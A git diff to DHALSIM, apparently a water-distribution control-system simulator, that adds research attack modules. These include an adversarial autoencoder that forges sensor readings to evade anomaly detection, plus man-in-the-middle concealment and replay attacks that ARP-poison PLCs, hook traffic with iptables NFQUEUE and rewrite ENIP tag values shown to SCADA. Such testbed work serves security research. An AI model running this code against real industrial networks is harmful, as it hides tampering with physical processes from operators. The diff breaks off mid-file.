diff --git a/dhalsim/network_attacks/adversarial_AE.py b/dhalsim/network_attacks/adversarial_AE.py new file mode 100644 index 00000000..b647c9b5 --- /dev/null +++ b/dhalsim/network_attacks/adversarial_AE.py @@ -0,0 +1,150 @@ +import time + +from tensorflow.keras.layers import Input, Dense, Activation, BatchNormalization, Lambda +from tensorflow.keras.models import Model, load_model +from tensorflow.keras.optimizers import Adam +from tensorflow.keras.callbacks import EarlyStopping, ReduceLROnPlateau +from sklearn.preprocessing import MinMaxScaler +from tensorflow.keras.initializers import glorot_normal + +from sklearn.model_selection import train_test_split +import numpy as np +import pandas as pd + + +# This module was developed by Alessandro Erba, the original is found here: +# https://github.com/scy-phy/ICS-Evasion-Attacks/blob/master/Adversarial_Attacks/Black_Box_Attack/adversarial_AE.py + +class Adversarial_AE: + + def __init__(self, feature_dims, hide_layers): + # define parameters + self.attacker_scaler = MinMaxScaler() + self.feature_dims = feature_dims + self.hide_layers = hide_layers + self.generator_layers = [self.feature_dims, int(self.hide_layers / + 2), self.hide_layers, int(self.hide_layers/2), self.feature_dims] + optimizer = Adam(lr=0.001) + + # Build the generator + self.generator = self.build_generator() + self.generator.compile(optimizer=optimizer, loss='mean_squared_error') + + def build_generator(self): + input = Input(shape=(self.feature_dims,)) + x = input + for dim in self.generator_layers[1:]: + x = Dense(dim, activation='sigmoid', + kernel_initializer=glorot_normal(seed=12345))(x) + generator = Model(input, x, name='generator') + + return generator + + def train_advAE(self, ben_data, xset): + ben_data[xset] = self.attacker_scaler.transform( + ben_data[xset]) + x_ben = pd.DataFrame(index=ben_data.index, + columns=xset, data=ben_data[xset]) + x_ben_train, x_ben_test, _, _ = train_test_split( + x_ben, x_ben, test_size=0.33, random_state=42) + earlyStopping = EarlyStopping( + monitor='val_loss', patience=3, verbose=0, min_delta=1e-4, mode='auto') + lr_reduced = ReduceLROnPlateau( + monitor='val_loss', factor=0.5, patience=1, verbose=0, min_delta=1e-4, mode='min') + print(self.generator.summary()) + self.generator.fit(x_ben_train, x_ben_train, + epochs=500, + batch_size=64, + shuffle=False, + callbacks=[earlyStopping, lr_reduced], + verbose=2, + validation_data=(x_ben_test, x_ben_test)) + + + def fix_sample(self, gen_examples, dataset): + """ + Adjust discrete actuators values to the nearest allowed value + Parameters + ---------- + gen_examples : Pandas Dataframe + adversarial examples that needs to be adjusted + dataset : string + name of the dataset the data come from to select the correct strategy + Returns + ------- + pandas DataFrame + adversarial examples with distrete values adjusted + """ + if dataset == 'BATADAL': + list_pump_status = list(gen_examples.filter( + regex='STATUS_PU[0-9]|STATUS_V[0-9]').columns) + + for j, _ in gen_examples.iterrows(): + for i in list_pump_status: #list(gen_examples.columns[31:43]): + if gen_examples.at[j, i] > 0.5: + gen_examples.at[j, i] = 1 + else: + gen_examples.at[j, i] = 0 + gen_examples.at[j, i.replace('STATUS', 'FLOW')] = 0 #gen_examples.columns[( + # gen_examples.columns.get_loc(i)) - 12]] = 0 + + return gen_examples + + def decide_concealment(self, n, binary_dataframe, gen_examples, original_examples, xset): + """ + Conceal only n variables among the modified ones by the autoencoder + computes the squared error between original and concealed sample and forward only the first n wrongly reconstructed + Parameters + ---------- + n : int + number of variables to be forwarded concealed + gen_examples : Pandas Dataframe + concealed tuples by the autoencoder + original_examples : Pandas Dataframe + original tuples + Returns + ------- + pandas series + concealed tuple with exactly n concealed sensor readings + pandas DataFrame + one hot encoded table keeping track of which of the n variables have been manipulated + """ + for j in range(0, len(gen_examples)): + distance = (original_examples.iloc[j] - gen_examples.iloc[j]) + distance = np.sqrt(distance**2) + distance = distance.sort_values(ascending=False) + distance = distance.drop(distance.index[n:]) + binary_row = pd.DataFrame( + index=[distance.name], columns=xset, data=0) + for elem in distance.keys(): + binary_row.loc[distance.name, elem] = 1 + binary_dataframe = binary_dataframe.append(binary_row) + for col, _ in distance.iteritems(): + original_examples.at[j, col] = gen_examples.at[j, col] + + return original_examples.values, binary_dataframe + + def conceal_fixed(self, constraints, gen_examples, original_examples): + """ + Conceal only n variables according to the list of allowed ones. + + Parameters + ---------- + constraints : list + list of sensor values that can be changed + gen_examples : Pandas Dataframe + concealed tuples by the autoencoder + original_examples : Pandas Dataframe + original tuples + Returns + ------- + pandas series + adversarial examples with the allowed concealed sensor readings + """ + for j in range(0, len(gen_examples)): + #print(constraints) + #print(original_examples.iloc[j]) + for col in constraints: + original_examples.at[j, col] = gen_examples.at[j, col] + #print(original_examples.iloc[j]) + return original_examples.values \ No newline at end of file diff --git a/dhalsim/network_attacks/black_box_concealment_attack.py b/dhalsim/network_attacks/black_box_concealment_attack.py new file mode 100644 index 00000000..0db23c52 --- /dev/null +++ b/dhalsim/network_attacks/black_box_concealment_attack.py @@ -0,0 +1,176 @@ +import numpy as np +import pandas as pd + +import argparse +import os +from pathlib import Path +import subprocess +import sys +import signal +import os +import time + +from dhalsim.network_attacks.utilities import launch_arp_poison, restore_arp +from dhalsim.network_attacks.synced_attack import SyncedAttack +from evasion_attacks.Adversarial_Attacks.Black_Box_Attack import adversarial_AE + +from tensorflow.keras.models import Model, load_model + + +class Error(Exception): + """Base class for exceptions in this module.""" + + +class DirectionError(Error): + """Raised when the optional parameter direction does not have source or destination as value""" + + +class UnconstrainedBlackBox(SyncedAttack): + """ + todo + + :param intermediate_yaml_path: The path to the intermediate YAML file + :param yaml_index: The index of the attack in the intermediate YAML + """ + + NETFILTERQUEUE_SUBPROCESS_TIMEOUT = 3 + """ Timeout to wait for the netfilter subprocess to be finished""" + + def __init__(self, intermediate_yaml_path: Path, yaml_index: int): + + # sync in this attack needs to be hanlded by the netfilterqueue. This value will be changed after we + # launch the netfilterqueue process + sync = True + super().__init__(intermediate_yaml_path, yaml_index, sync) + os.system('sysctl net.ipv4.ip_forward=1') + + if self.intermediate_attack['persistent'] == 'True': + self.persistent = True + else: + self.persistent = False + + # Process object to handle nfqueue + self.nfqueue_process = None + + + def setup(self): + """ + This function start the network attack. + + It first sets up the iptables on the attacker node to capture the tcp packets coming from + the target PLC. It also drops the icmp packets, to avoid network packets skipping the + attacker node. + + Afterwards it launches the ARP poison, which basically tells the network that the attacker + is the PLC, and it tells the PLC that the attacker is the router. + + Finally, it launches the thread that will examine all captured packets. + """ + self.modify_ip_tables(True) + + queue_number = 1 + nfqueue_path = Path(__file__).parent.absolute() / "unconstrained_blackbox_netfilter_queue.py" + cmd = ["python3", str(nfqueue_path), str(self.intermediate_yaml_path), str(self.yaml_index), str(queue_number)] + + self.sync = False + self.nfqueue_process = subprocess.Popen(cmd, shell=False, stderr=sys.stderr, stdout=sys.stdout) + + # Launch the ARP poison by sending the required ARP network packets + launch_arp_poison(self.target_plc_ip, self.intermediate_attack['gateway_ip']) + if self.intermediate_yaml['network_topology_type'] == "simple": + for plc in self.intermediate_yaml['plcs']: + if plc['name'] != self.intermediate_plc['name']: + launch_arp_poison(self.target_plc_ip, plc['local_ip']) + + self.logger.debug(f"Concealment MITM Attack ARP Poison between {self.target_plc_ip} and " + f"{self.intermediate_attack['gateway_ip']}") + + def interrupt(self): + """ + This function will be called when we want to stop the attacker. It calls the teardown + function if the attacker is in state 1 (running) + """ + if self.state == 1: + self.teardown() + + def teardown(self): + """ + This function will undo the actions done by the setup function. + + It first restores the arp poison, to point to the original router and PLC again. Afterwards + it will delete the iptable rules and stop the thread. + """ + restore_arp(self.target_plc_ip, self.intermediate_attack['gateway_ip']) + if self.intermediate_yaml['network_topology_type'] == "simple": + for plc in self.intermediate_yaml['plcs']: + if plc['name'] != self.intermediate_plc['name']: + restore_arp(self.target_plc_ip, plc['local_ip']) + + self.logger.debug(f"MITM Attack ARP Restore between {self.target_plc_ip} and " + f"{self.intermediate_attack['gateway_ip']}") + + self.modify_ip_tables(False) + self.logger.debug(f"Restored ARP") + + self.logger.debug("Stopping nfqueue subprocess...") + self.nfqueue_process.send_signal(signal.SIGINT) + + try: + self.nfqueue_process.wait(self.NETFILTERQUEUE_SUBPROCESS_TIMEOUT) + except subprocess.TimeoutExpired as e: + self.logger.debug('TimeoutExpire: ' + str(e)) + if self.nfqueue_process.poll() is None: + self.nfqueue_process.terminate() + if self.nfqueue_process.poll() is None: + self.nfqueue_process.kill() + + self.logger.debug("Stopped nfqueue subprocess") + + def attack_step(self): + """Polls the NetFilterQueue subprocess and sends a signal to stop it when teardown is called""" + #todo: Here we would connect to the adversarial model? + pass + + + @staticmethod + def modify_ip_tables(append=True): + + if append: + os.system(f'iptables -t mangle -A PREROUTING -p tcp -j NFQUEUE --queue-num 1') + + os.system('iptables -A FORWARD -p icmp -j DROP') + os.system('iptables -A INPUT -p icmp -j DROP') + os.system('iptables -A OUTPUT -p icmp -j DROP') + else: + + os.system(f'iptables -t mangle -D INPUT -p tcp -j NFQUEUE --queue-num 1') + os.system(f'iptables -t mangle -D FORWARD -p tcp -j NFQUEUE --queue-num 1') + + os.system('iptables -D FORWARD -p icmp -j DROP') + os.system('iptables -D INPUT -p icmp -j DROP') + os.system('iptables -D OUTPUT -p icmp -j DROP') + +def is_valid_file(parser_instance, arg): + """Verifies whether the intermediate yaml path is valid.""" + if not os.path.exists(arg): + parser_instance.error(arg + " does not exist") + else: + return arg + + +if __name__ == "__main__": + parser = argparse.ArgumentParser(description='Start an unconstrained black box attack ') + parser.add_argument(dest="intermediate_yaml", + help="intermediate yaml file", metavar="FILE", + type=lambda x: is_valid_file(parser, x)) + parser.add_argument(dest="index", help="Index of the network attack in intermediate yaml", + type=int, + metavar="N") + + args = parser.parse_args() + + attack = UnconstrainedBlackBox( + intermediate_yaml_path=Path(args.intermediate_yaml), + yaml_index=args.index) + + attack.main_loop(attack.persistent) diff --git a/dhalsim/network_attacks/concealment_ae_model.py b/dhalsim/network_attacks/concealment_ae_model.py new file mode 100644 index 00000000..94e1e3d6 --- /dev/null +++ b/dhalsim/network_attacks/concealment_ae_model.py @@ -0,0 +1,140 @@ +from adversarial_AE import Adversarial_AE +import time + +from tensorflow.keras.layers import Input, Dense, Activation, BatchNormalization, Lambda +from tensorflow.keras.models import Model, load_model +from tensorflow.keras.optimizers import Adam +from tensorflow.keras.callbacks import EarlyStopping, ReduceLROnPlateau +from sklearn.preprocessing import MinMaxScaler +from tensorflow.keras.initializers import glorot_normal + +import os + +import numpy as np +import pandas as pd +from str2bool import str2bool + +import glob +from pathlib import Path + +from sklearn.preprocessing import MinMaxScaler +from sklearn.model_selection import train_test_split + +# This module is based on the implementation by Alessandro Erba, original is found here: +# https://github.com/scy-phy/ICS-Evasion-Attacks/blob/master/Adversarial_Attacks/Black_Box_Attack/adversarial_AE.py + +class ConcealmentAE: + + def preprocess_physical(self, path): + a_pd = pd.read_csv(str(path), parse_dates=['timestamp']) + a_pd = a_pd.dropna() + + # We drop rows with Bad input values + for column in a_pd.columns: + a_pd = a_pd.drop(a_pd[a_pd[column] == 'Bad Input'].index) + + alarms = [col for col in a_pd.columns if 'AL' in col] + + for alarm in alarms: + exp = (a_pd[alarm] == 'Inactive') + a_pd.loc[exp, alarm] = 0 + + exp = (a_pd[alarm] == 'Active') + a_pd.loc[exp, alarm] = 1 + + return a_pd + + def train_model(self): + + # fit of the scaler is done at __init__ + xset = self.sensor_cols + ben_data = self.physical_pd + ben_data[xset] = self.attacker_scaler.transform(ben_data[xset]) + x_ben = pd.DataFrame(index=ben_data.index, + columns=xset, data=ben_data[xset]) + x_ben_train, x_ben_test, _, _ = train_test_split( + x_ben, x_ben, test_size=0.33, random_state=42) + earlyStopping = EarlyStopping( + monitor='val_loss', patience=3, verbose=0, min_delta=1e-4, mode='auto') + lr_reduced = ReduceLROnPlateau( + monitor='val_loss', factor=0.5, patience=1, verbose=0, min_delta=1e-4, mode='min') + print(self.generator.summary()) + self.generator.fit(x_ben_train, x_ben_train, + epochs=500, + batch_size=64, + shuffle=False, + callbacks=[earlyStopping, lr_reduced], + verbose=2, + validation_data=(x_ben_test, x_ben_test)) + + def save_model(self, filename): + self.generator.save(filename) + + def build_generator(self): + input = Input(shape=(self.feature_dims,)) + x = input + for dim in self.generator_layers[1:]: + x = Dense(dim, activation='sigmoid', + kernel_initializer=glorot_normal(seed=12345))(x) + return Model(input, x, name='generator') + + def transform_fit_scaler(self): + self.attacker_scaler.fit(self.physical_pd[self.sensor_cols]) + + def fix_sample(self, gen_examples): + # We want to select pumps and valves status only. + list_pump_status = list(gen_examples.filter(regex='PU[0-9]+$|V[0-9]+$').columns) + + for status in list_pump_status: # list(gen_examples.columns[31:43]): + col_index = gen_examples.columns.get_loc(status) + col_index_f = gen_examples.columns.get_loc(status + 'F') + for j, _ in gen_examples.iterrows(): + if gen_examples.iloc[j, col_index] > 0.5: + gen_examples.iloc[j, col_index] = 1 + else: + gen_examples.at[j, col_index] = 0 + #if status is 0, the flow is also 0 + + gen_examples.at[j, col_index_f] = 0 + + return gen_examples + + def predict(self, received_values_df): + print('Attempting to predict concealment values') + gen_examples = self.generator.predict(self.attacker_scaler.transform(received_values_df)) + gen_examples = self.fix_sample(pd.DataFrame(columns=self.sensor_cols, + data=self.attacker_scaler.inverse_transform(gen_examples))) + + return gen_examples + + def __init__(self, a_path): + # Load and preprocess training data + training_path = Path(__file__).parent/a_path/'training_data.csv' + print('Reading training data from: ' + str(training_path)) + self.physical_pd = self.preprocess_physical(training_path) + + # Adversarial model for concealment + # toDo: Ask about this parameter + hide_layers = 39 + + self.sensor_cols = [col for col in self.physical_pd.columns if + col not in ['Unnamed: 0', 'iteration', 'timestamp', 'Attack']] + + self.feature_dims = len(self.sensor_cols) + + self.hide_layers = hide_layers + self.generator_layers = [self.feature_dims, + int(self.hide_layers / 2), + self.hide_layers, + int(self.hide_layers / 2), self.feature_dims] + + optimizer = Adam(lr=0.001) + # Build the generator + self.generator = self.build_generator() + self.generator.compile(optimizer=optimizer, loss='mean_squared_error') + + self.attacker_scaler = MinMaxScaler() + self.transform_fit_scaler() + + + diff --git a/dhalsim/network_attacks/concealment_netfilter_queue.py b/dhalsim/network_attacks/concealment_netfilter_queue.py index c0855399..d9008065 100644 --- a/dhalsim/network_attacks/concealment_netfilter_queue.py +++ b/dhalsim/network_attacks/concealment_netfilter_queue.py @@ -6,21 +6,25 @@ import sys import pandas as pd +import numpy as np from scapy.layers.inet import IP, TCP from scapy.packet import Raw from dhalsim.network_attacks.utilities import translate_payload_to_float, translate_float_to_payload + class Error(Exception): """Base class for exceptions in this module.""" + class ConcealmentError(Error): """Raised when there is an error in the concealment parameter""" + class ConcealmentMiTMNetfilterQueue(PacketQueue): - def __init__(self, intermediate_yaml_path: Path, yaml_index: int, queue_number: int ): + def __init__(self, intermediate_yaml_path: Path, yaml_index: int, queue_number: int): super().__init__(intermediate_yaml_path, yaml_index, queue_number) self.attacked_tags = self.intermediate_attack['tags'] self.logger.debug('Attacked tags:' + str(self.attacked_tags)) @@ -31,69 +35,199 @@ def __init__(self, intermediate_yaml_path: Path, yaml_index: int, queue_number: if 'concealment_data' in self.intermediate_attack.keys(): if self.intermediate_attack['concealment_data']['type'] == 'path': self.concealment_type = 'path' + self.concealment_data_pd = pd.read_csv(self.intermediate_attack['concealment_data']['path']) elif self.intermediate_attack['concealment_data']['type'] == 'value': self.concealment_type = 'value' + + elif self.intermediate_attack['concealment_data']['type'] == 'payload_replay' or\ + self.intermediate_attack['concealment_data']['type'] == 'network_replay': + + self.concealment_type = self.intermediate_attack['concealment_data']['type'] + self.replay_start = int(self.intermediate_attack['concealment_data']['replay_start']) + self.capture_start = int(self.intermediate_attack['concealment_data']['capture_start']) + self.capture_end = int(self.intermediate_attack['concealment_data']['capture_end']) + self.replay_duration = self.capture_end - self.capture_start + + if self.intermediate_attack['concealment_data']['type'] == 'payload_replay': + self.captured_tags_pd = pd.DataFrame(columns=self.get_conceal_tags()) + self.logger.debug('Tags to be replayed will be: ' + str(self.captured_tags_pd)) + self.logger.debug('Payload Capture and Replay duration is: ' + str(self.replay_duration)) + + if self.intermediate_attack['concealment_data']['type'] == 'network_replay': + self.captured_packets_pd = pd.DataFrame(columns=['Packet']) + self.logger.debug('Network Capture and Replay duration is: ' + str(self.replay_duration)) else: - raise ConcealmentError("Concealment data type is invalid, supported values are 'concealment_value' or 'concealment_path ") + raise ConcealmentError("Concealment data type is invalid, supported values are: " + "'concealment_value', 'concealment_path', or 'payload_replay' ") self.logger.debug('Concealment type is: ' + str(self.concealment_type)) + def get_conceal_tags(self): + tag_list = [] + for tag in self.intermediate_attack['tags']: + tag_list.append(tag['tag']) + return tag_list + def get_attack_tag(self, a_tag_name): - self.logger.debug('attacked tags: ' + str(self.attacked_tags)) + # self.logger.debug('attacked tags: ' + str(self.attacked_tags)) for tag in self.attacked_tags: if tag['tag'] == a_tag_name: return tag def handle_attack(self, session, ip_payload): + if 'concealment_data' in self.intermediate_attack.keys(): + if self.concealment_type == 'payload_replay' or self.concealment_type == 'network_replay': + current_clock = int(self.get_master_clock()) + if current_clock < self.replay_start or current_clock >= (self.replay_start + self.replay_duration): + # With replay concealment, we should not modify payloads, unless we are already replying + modified = False + return ip_payload, modified + # We support multi tag sending, using the same session. Context varies among tags for tag in self.intermediate_attack['tags']: if session['tag'] == tag['tag']: modified = True if 'value' in tag.keys(): - self.logger.debug('attacking with value') + #self.logger.debug('attacking with value') return translate_float_to_payload(tag['value'], ip_payload[Raw].load) elif 'offset' in tag.keys(): - self.logger.debug('attacking with offset') + #self.logger.debug('attacking with offset') return translate_float_to_payload( translate_payload_to_float(ip_payload[Raw].load) + tag['offset'], ip_payload[Raw].load), modified - def handle_concealment(self, session, ip_payload): - if self.intermediate_attack['concealment_data']['type'] == 'value' or \ - self.intermediate_attack['concealment_data']['type'] == 'offset': - for tag in self.intermediate_attack['concealment_data']['concealment_value']: - if session['tag'] == tag['tag']: - modified = True - if self.intermediate_attack['concealment_data']['type']: - self.logger.debug('Concealment value is: ' + str(tag['value'])) - return translate_float_to_payload(tag['value'], ip_payload[Raw].load) - elif self.intermediate_attack['concealment_data']['type'] == 'offset': - self.logger.debug('Concealment offset is: ' + str(tag['offset'])) - return translate_float_to_payload( - translate_payload_to_float(ip_payload[Raw].load) + tag['offset'], - ip_payload[Raw].load), modified - elif self.intermediate_attack['concealment_data']['type'] == 'path': - self.logger.debug('Concealing to SCADA with path') - exp = (self.concealment_data_pd['iteration'] == self.get_master_clock()) - concealment_value = float(self.concealment_data_pd.loc[exp][session['tag']].values[-1]) - self.logger.debug('Concealing with value: ' + str(concealment_value)) + # elif 'replay' ... + + def network_capture(self, ip_payload, current_clock): + #self.logger.debug('Trying to capture packet...') + self.captured_packets_pd.loc[current_clock, 'Packet'] = ip_payload[Raw].load + #self.logger.debug('Captured packet:' + str(self.captured_packets_pd.loc[current_clock, 'Packet'])) + + modified = False + return ip_payload, modified + + def handle_network_replay(self, ip_payload): + current_clock = int(self.get_master_clock()) + #self.logger.debug('Concealing with network replay') + + # Capture phase of the network replay concealment + if self.capture_start <= current_clock < self.capture_end: + self.logger.debug('capturing packet...') + return self.network_capture(ip_payload, current_clock) + + if self.replay_start <= current_clock < self.replay_start + self.replay_duration: + + # Replay phase + + replay_position = self.capture_start + current_clock - self.replay_start + + # Maybe we did not captured a value for that tag at that iteration + if replay_position in self.captured_packets_pd.index: + validated_replay_position = replay_position + else: + # todo: There could be a case where the index exists, but the value is Nan + validated_replay_position = min(self.captured_packets_pd.index, key=lambda x: abs(x - replay_position)) + + self.logger.debug('Trying to replay: ' + str(self.captured_packets_pd.loc[validated_replay_position]['Packet'])) + modified = True + return self.captured_packets_pd.loc[validated_replay_position]['Packet'], modified + + modified = False + return ip_payload, modified + + def payload_capture(self, ip_payload, current_clock, this_tag): + self.logger.debug('Capturing payload of tag ' + this_tag) + self.captured_tags_pd.loc[current_clock, this_tag] = translate_payload_to_float(ip_payload[Raw].load) + modified = False + self.logger.debug('Captured payload: \n' + str(self.captured_tags_pd.loc[current_clock])) + return ip_payload, modified + + def handle_payload_replay(self, session, ip_payload): + self.logger.debug('Concealing with payload replay') + current_clock = int(self.get_master_clock()) + this_tag = str(session['tag']) + + # Capture phase of the payload replay concealment + if self.capture_start <= current_clock < self.capture_end: + return self.payload_capture(ip_payload, current_clock, this_tag) + + # Replay phase + if self.replay_start <= current_clock < self.replay_start + self.replay_duration: + + self.logger.debug('Replaying payload') + self.logger.debug('Captured payloads pd: \n' + str(self.captured_tags_pd)) + replay_position = self.capture_start + current_clock - self.replay_start + self.logger.debug('Replay position ' + str(replay_position)) + + # Maybe we did not captured a value for that tag at that iteration + if replay_position in self.captured_tags_pd.index and \ + (not np.isnan(self.captured_tags_pd.loc[replay_position][this_tag])): + validated_replay_position = replay_position + else: + # todo: There could be a case where the index exists, but the value is Nan + validated_replay_position = min(self.captured_tags_pd.index, key=lambda x: abs(x - replay_position)) + + concealment_value = float(self.captured_tags_pd.loc[validated_replay_position][this_tag]) + self.logger.debug('Replaying tag ' + str(this_tag) + ' with value ' + + str(concealment_value)) modified = True return translate_float_to_payload(concealment_value, ip_payload[Raw].load), modified + # We could have moments that we are neither capturing, nor replaying + + modified = False + return ip_payload, modified + + + def handle_concealment_value(self, session, ip_payload): + for tag in self.intermediate_attack['concealment_data']['concealment_value']: + if session['tag'] == tag['tag']: + modified = True + if 'value' in tag.keys(): + # self.logger.debug('Concealment value is: ' + str(tag['value'])) + return translate_float_to_payload(tag['value'], ip_payload[Raw].load), modified + elif 'offset' in tag.keys(): + # self.logger.debug('Concealment offset is: ' + str(tag['offset'])) + return translate_float_to_payload( + translate_payload_to_float(ip_payload[Raw].load) + tag['offset'], + ip_payload[Raw].load), modified + + def handle_concealment_path(self, session, ip_payload): + # self.logger.debug('Concealing to SCADA with path') + exp = (self.concealment_data_pd['iteration'] == self.get_master_clock()) + concealment_value = float(self.concealment_data_pd.loc[exp][session['tag']].values[-1]) + # self.logger.debug('Concealing with value: ' + str(concealment_value)) + modified = True + return translate_float_to_payload(concealment_value, ip_payload[Raw].load), modified + + def handle_concealment(self, session, ip_payload): + if self.intermediate_attack['concealment_data']['type'] == 'value': + return self.handle_concealment_value(session, ip_payload) + + elif self.intermediate_attack['concealment_data']['type'] == 'path': + return self.handle_concealment_path(session, ip_payload) + + elif self.intermediate_attack['concealment_data']['type'] == 'payload_replay': + return self.handle_payload_replay(session, ip_payload) + + elif self.intermediate_attack['concealment_data']['type'] == 'network_replay': + return self.handle_network_replay(ip_payload) + + # We could also let users finish the replay phase, but not finish the attack immediately + modified = False + return ip_payload, modified + def handle_enip_response(self, ip_payload): this_session = int.from_bytes(ip_payload[Raw].load[4:8], sys.byteorder) this_context = int.from_bytes(ip_payload[Raw].load[12:20], sys.byteorder) - self.logger.debug('ENIP response session: ' + str(this_session)) - self.logger.debug('ENIP response context: ' + str(this_context)) - # When target is SCADA, the concealment session will be stored in attack_session_ids if self.intermediate_attack['target'].lower() == 'scada': for session in self.attack_session_ids: if session['session'] == this_session and session['context'] == this_context: - self.logger.debug('Concealing to SCADA: ' + str(this_session)) + #self.logger.debug('Concealing to SCADA: ' + str(this_session)) return self.handle_concealment(session, ip_payload) # Attack values to PLCs @@ -104,32 +238,32 @@ def handle_enip_response(self, ip_payload): # Concealment values to SCADA for session in self.scada_session_ids: if session['session'] == this_session and session['context'] == this_context: - self.logger.debug('Concealing to SCADA: ' + str(this_session)) + #self.logger.debug('Concealing to SCADA: ' + str(this_session)) return self.handle_concealment(session, ip_payload) modified = False return ip_payload, modified - def handle_enip_request(self, ip_payload, offset): + def handle_enip_request(self, ip_payload): this_session = int.from_bytes(ip_payload[Raw].load[4:8], sys.byteorder) - tag_name = ip_payload[Raw].load.decode(encoding='latin-1')[54:offset] + tag_name = ip_payload[Raw].load.decode(encoding='latin-1')[54:60].split(':')[0] context = int.from_bytes(ip_payload[Raw].load[12:20], sys.byteorder) - self.logger.debug('this tag is: ' + str(tag_name)) + #self.logger.debug('this tag is: ' + str(tag_name)) this_tag = self.get_attack_tag(tag_name) if this_tag: - #self.logger.debug('Tag name: ' + str(tag_name)) - self.logger.debug('Attack tag: ' + str(this_tag['tag'])) + # self.logger.debug('Tag name: ' + str(tag_name)) + #self.logger.debug('Attack tag: ' + str(this_tag['tag'])) session_dict = {'session': this_session, 'tag': this_tag['tag'], 'context': context} - self.logger.debug('session dict: ' + str(session_dict)) + #self.logger.debug('session dict: ' + str(session_dict)) if ip_payload[IP].src == self.intermediate_yaml['scada']['public_ip']: - self.logger.debug('SCADA Req session') + #self.logger.debug('SCADA Req session') self.scada_session_ids.append(session_dict) else: - self.logger.debug('PLC Req session') + #self.logger.debug('PLC Req session') self.attack_session_ids.append(session_dict) def capture(self, packet): @@ -155,14 +289,10 @@ def capture(self, packet): return else: - if len(p) == 118: - self.logger.debug('handling request 57') - self.handle_enip_request(p, 57) - self.logger.debug('handled request') - elif len(p) == 116: - self.logger.debug('handling request 56') - self.handle_enip_request(p, 56) - self.logger.debug('handled request') + if len(p) == 118 or len(p) == 116 or len(p) == 120: + #self.logger.debug('handling request 57') + self.handle_enip_request(p) + #self.logger.debug('handled request') else: packet.accept() return @@ -175,6 +305,7 @@ def capture(self, packet): self.nfqueue.unbind() sys.exit(0) + def is_valid_file(parser_instance, arg): """Verifies whether the intermediate yaml path is valid.""" if not os.path.exists(arg): @@ -182,6 +313,7 @@ def is_valid_file(parser_instance, arg): else: return arg + if __name__ == "__main__": parser = argparse.ArgumentParser(description='Start everything for an attack') parser.add_argument(dest="intermediate_yaml", @@ -199,6 +331,5 @@ def is_valid_file(parser_instance, arg): attack = ConcealmentMiTMNetfilterQueue( intermediate_yaml_path=Path(args.intermediate_yaml), yaml_index=args.index, - queue_number = args.number) + queue_number=args.number) attack.main_loop() - diff --git a/dhalsim/network_attacks/mitm_netfilter_queue.py b/dhalsim/network_attacks/mitm_netfilter_queue.py index 7ee91f81..3773dec3 100644 --- a/dhalsim/network_attacks/mitm_netfilter_queue.py +++ b/dhalsim/network_attacks/mitm_netfilter_queue.py @@ -31,10 +31,15 @@ def capture(self, packet): p = IP(packet.get_payload()) if 'TCP' in p: if len(p) == 116: - this_session = int.from_bytes(p[Raw].load[4:8], sys.byteorder) + this_session = int.from_bytes(p[Raw].load[4:8], sys.byteorder) tag_name = p[Raw].load.decode(encoding='latin-1')[54:56] if self.attacked_tag == tag_name: self.session_ids.append(this_session) + if len(p) == 118: + this_session = int.from_bytes(p[Raw].load[4:8], sys.byteorder) + tag_name = p[Raw].load.decode(encoding='latin-1')[54:57] + if self.attacked_tag == tag_name: + self.session_ids.append(this_session) if len(p) == 102: this_session = int.from_bytes(p[Raw].load[4:8], sys.byteorder) diff --git a/dhalsim/network_attacks/mitm_netfilter_queue_subprocess.py b/dhalsim/network_attacks/mitm_netfilter_queue_subprocess.py index 10b28366..bd761f24 100644 --- a/dhalsim/network_attacks/mitm_netfilter_queue_subprocess.py +++ b/dhalsim/network_attacks/mitm_netfilter_queue_subprocess.py @@ -52,7 +52,7 @@ def main_loop(self): try: self.logger.debug('Queue bound to number' + str(self.queue_number) + ' , running queue now') self.nfqueue.run() - except Exception as exc: + except Exception: if self.nfqueue: self.nfqueue.unbind() sys.exit(0) diff --git a/dhalsim/network_attacks/replay_mitm.py b/dhalsim/network_attacks/replay_mitm.py new file mode 100644 index 00000000..0d0e678d --- /dev/null +++ b/dhalsim/network_attacks/replay_mitm.py @@ -0,0 +1,148 @@ +import argparse +import os +from pathlib import Path + +from dhalsim.network_attacks.utilities import launch_arp_poison, restore_arp +from dhalsim.network_attacks.synced_attack import SyncedAttack + +import subprocess +import sys +import signal + + +class Error(Exception): + """Base class for exceptions in this module.""" + + +class DirectionError(Error): + """Raised when the optional parameter direction does not have source or destination as value""" + + +class ReplayMiTMAttack(SyncedAttack): + """ + todo + + :param intermediate_yaml_path: The path to the intermediate YAML file + :param yaml_index: The index of the attack in the intermediate YAML + """ + + def __init__(self, intermediate_yaml_path: Path, yaml_index: int): + super().__init__(intermediate_yaml_path, yaml_index) + os.system('sysctl net.ipv4.ip_forward=1') + + # Process object to handle nfqueue + self.nfqueue_process = None + + + def setup(self): + """ + This function start the network attack. + + It first sets up the iptables on the attacker node to capture the tcp packets coming from + the target PLC. It also drops the icmp packets, to avoid network packets skipping the + attacker node. + + Afterwards it launches the ARP poison, which basically tells the network that the attacker + is the PLC, and it tells the PLC that the attacker is the router. + + Finally, it launches the thread that will examine all captured packets. + """ + self.modify_ip_tables(True) + + # Launch the ARP poison by sending the required ARP network packets + launch_arp_poison(self.target_plc_ip, self.intermediate_attack['gateway_ip']) + if self.intermediate_yaml['network_topology_type'] == "simple": + for plc in self.intermediate_yaml['plcs']: + if plc['name'] != self.intermediate_plc['name']: + launch_arp_poison(self.target_plc_ip, plc['local_ip']) + + self.logger.debug(f"Replay MITM Attack ARP Poison between {self.target_plc_ip} and " + f"{self.intermediate_attack['gateway_ip']}") + + queue_number = 1 + nfqueue_path = Path(__file__).parent.absolute() / "replay_mitm_netfilter_queue.py" + cmd = ["python3", str(nfqueue_path), str(self.intermediate_yaml_path), str(self.yaml_index), str(queue_number)] + + self.nfqueue_process = subprocess.Popen(cmd, shell=False, stderr=sys.stderr, stdout=sys.stdout) + + def interrupt(self): + """ + This function will be called when we want to stop the attacker. It calls the teardown + function if the attacker is in state 1 (running) + """ + if self.state == 1: + self.teardown() + + def teardown(self): + """ + This function will undo the actions done by the setup function. + + It first restores the arp poison, to point to the original router and PLC again. Afterwards + it will delete the iptable rules and stop the thread. + """ + restore_arp(self.target_plc_ip, self.intermediate_attack['gateway_ip']) + if self.intermediate_yaml['network_topology_type'] == "simple": + for plc in self.intermediate_yaml['plcs']: + if plc['name'] != self.intermediate_plc['name']: + restore_arp(self.target_plc_ip, plc['local_ip']) + + self.logger.debug(f"MITM Attack ARP Restore between {self.target_plc_ip} and " + 